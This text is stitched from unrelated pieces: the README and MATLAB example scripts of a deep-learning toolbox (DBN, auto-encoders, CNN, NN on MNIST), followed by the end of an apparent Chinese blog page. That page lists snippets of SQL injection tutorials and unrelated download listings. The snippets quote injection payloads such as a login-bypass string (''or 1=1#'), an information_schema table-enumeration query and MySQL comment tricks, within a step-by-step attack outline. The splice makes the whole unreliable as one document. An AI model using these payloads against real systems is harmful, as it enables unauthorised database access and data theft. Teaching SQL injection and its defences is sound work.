learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

SQL注入攻击总结篇

本文是关于SQL各种类型数据库的注入攻击自我复习总结,如果文中有不足的地方,麻烦大佬在评论中指出或者私聊我,谢谢~ 本文讲述: SQL注入的原理 SQL注入的防御 SQL攻击的流程 其他数据库的注入方法 ———————————————————————————— sqll注入原理 当用户访问动态网页时,Web服务器会想数据访问层发起SQL查询请求,若此时攻击者在当前网页构造恶意SQL语句,并一起带入数据库执行,那么会带来意想不到的危害。例如获取/篡改业务核心数据,获取服务器权限,严重可导致数据库瘫痪。

MSB_WLAQ的博客 1854

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

SQL注入详解

SQL注入详解介绍,包括不同数据库的注入,不同注入方法,不同数据类型,不同提交方式,还有常用是sqlmap的使用命令

2401_87551095的博客 2025

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

深入理解 SQL 注入:原理、攻击流程与防御措施

SQL 注入是一种通过向 SQL 查询中插入恶意代码,操控数据库的攻击手段。攻击者利用程序对用户输入的验证不严,构造特定的输入,使得数据库执行未授权的操作。这种攻击方式不仅可以获取敏感信息,还可能导致数据的篡改或删除。SQL 注入是一种严重的安全威胁,开发者和安全人员必须对其有深入的理解。通过采取适当的防御措施,可以有效降低 SQL 注入攻击的风险。希望本文能帮助你更好地理解 SQL 注入的原理、攻击流程以及防御策略,保护你的应用程序和数据安全。作为一名开发者,我深知安全的重要性。

孤客科技 2578

信息安全之SQL注入

(此为课堂笔记整理,方便日后学习)一. SQL注入攻击原理原因分析:      由于程序中对用户输入检查不严格,导致用户提交的非法数据被当作SQL语句的一部分来执行(即改变了系统后台原有的SQL语句结构),从而使攻击者获得某些他想得知的数据。目标:      借Web应用的”刀“来攻击服务器数据库或操作系统二. SQL注入攻击类型   A. 字符串内联注入   B. 数字值内联注入   C. 终止...

Always on the road 1449

基于pikachu漏洞平台的 --SQL注入攻击学习与总结

SQL注入攻击 基础知识 常见注释符号(官方链接): mysql> SELECT 1+1; # 行内注释 mysql> SELECT 1+1; -- 行内注释 mysql> SELECT 1 /*行内注释 */ + 1; mysql> SELECT 1+ /* 多行注释 */ 1; mysql> SELECT * FROM table1 WHERE a=1 /*! AND b=2 */ 其中/*! */ 里面的语句会被MySQL识别并执行,但是会被其他系统

Mr.hu 1896

SQL注入原理及其防御

SQL注入(SQL Injection)是指攻击者利用Web应用程序在构造SQL查询时未对用户输入进行充分验证或转义,将恶意SQL代码嵌入到查询中,从而使数据库执行非预期命令的攻击技术。如果过滤不严,攻击者能轻易打破字符串的封闭结构,并注入恶意 SQL 代码,使得原本的查询条件失效,从而窃取或篡改数据。当应用程序直接将用户输入拼接到SQL语句中时,如果不对输入进行严格检查,攻击者可以构造特殊字符或语句,使得原本作为数据的输入变成了SQL命令的一部分。这种方法依赖响应时间来推断信息,提取数据过程非常耗时。

Dyf1729276976的博客 1230

还原攻击链:从探测到暴库,SQL注入全流程解析

电话,身份证号码等),判断是否符合格式,如果不符合格式,拒绝该请求;如果是字符串类型,没有特殊的格式,需要对字符串长度做校验,如果长度大于数据库该字段的定义长度,拒绝该请求;一般情况下,盲注需要结合二分法使用,由于每次获取到的信息相当有限(仅为一个字符),因此需要大量的盲注才能实现获取到敏感数据。,尝试按照表的第三列对数据进行排序,如果后台表中存在第三列,则排序可能成功,如果没有第三列,则排序失败。接下来继续观察攻击者的动作,攻击者在获知表的列数后,希望获知注入数据的回显位置,因此执行了命令,如图。

2501_92263117的博客 1235

Web—SQL注入攻击

SQL注入概念 SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。 联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNION ALL。 联合查询的利用前提:页面有显示位 联合注入的过程:判断注入点、判断是整型还是字符型、判断查询列数、判断显示位、获取所有数据库名、获取数据库所有表名、获取字段名、获取字段中的数据 常规思路 判断是否存在注入. 字符型1’ and ‘

weixin_43916678的博客 1834

SQL注入小结

当用户提交的数据未作处理或转义直接拼接为sql语句带入数据库,就造成了sql注入。攻击者通过构造不同的sql语句来实现对数据库的任意操作。

qq_61475980的博客 1132

SQL注入

SQL注入学习笔记

qq_37887141的博客 2189

初识SQL注入

初识SQL注入↗ 1、SQL注入原理 SQL注入漏洞是指攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,而网站应用程序未对其进行过滤,将恶意SQL语句带入数据库使恶意SQL语句得以执行,从而使攻击者通过数据库获取敏感信息或者执行其他恶意操作。 2、SQL注入危害 ➢ 绕过登录验证:使用万能密码登录网站后台等。 如:'or 1=1# ➢ 获取敏感数据:获取网站管理员帐号、密码等。...

carmi的博客 932

SQL注入流程

SQL注入流程1、判断是否SQL注入点2、判断注入类型3、判断字段数 order by4、联合查询查看回显点 union select5、爆数据库6、爆表7、爆列名8、爆数据库值 1、判断是否SQL注入点 2、判断注入类型 3、判断字段数 order by 4、联合查询查看回显点 union select 5、爆数据库 database() user() 6、爆表 select group_concat(table_name) from information_schema.tables where t

ilkj的博客 369
上一篇: 【web小工具】dirsearch 安装,用法,例题
下一篇: SQL注入配套的sqli-labs的详细wp【1-9】【小白专属】
tryqaaa_
博客等级 码龄1年 11粉丝 31原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值